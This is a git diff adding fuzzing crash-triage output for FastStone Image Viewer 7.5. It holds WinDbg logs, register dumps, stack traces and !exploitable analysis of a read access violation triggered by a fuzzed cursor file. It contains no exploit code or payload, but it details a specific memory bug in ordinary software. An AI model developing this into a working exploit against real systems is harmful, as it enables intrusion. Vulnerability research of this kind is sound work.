+BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/44546/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/44546/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..dd484dc --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/44546/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xDD4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xDD4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(dd4.1f48): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07f67b10 edx=00003879 esi=ffdd0010 edi=0fc6efd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.766379799681844320000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.953578600000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.01517e+032 2.60919e+010 -5.68867e-011 1.32178e+032 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08048130 07fc5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00369000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00369000 830b876d 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bb 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00369000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/44546/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/44546/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..8d102c9 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/44546/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/45480/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/45480/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/45480/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/45480/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/45480/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a826fe3 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/45480/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/45480/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/45480/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..ea487a3 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/45480/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1364: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1364: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a30000 00000000`74a58000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74a22000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a60000 00000000`74bfa000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1364.aec): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0007ed2d ecx=07ee7b10 edx=00003879 esi=ffcb0010 edi=0fbc0fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.743861801539748960000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.104984000000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-0.197073 -9.5513e-009 -3.51859e+032 2.55179e+030 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc 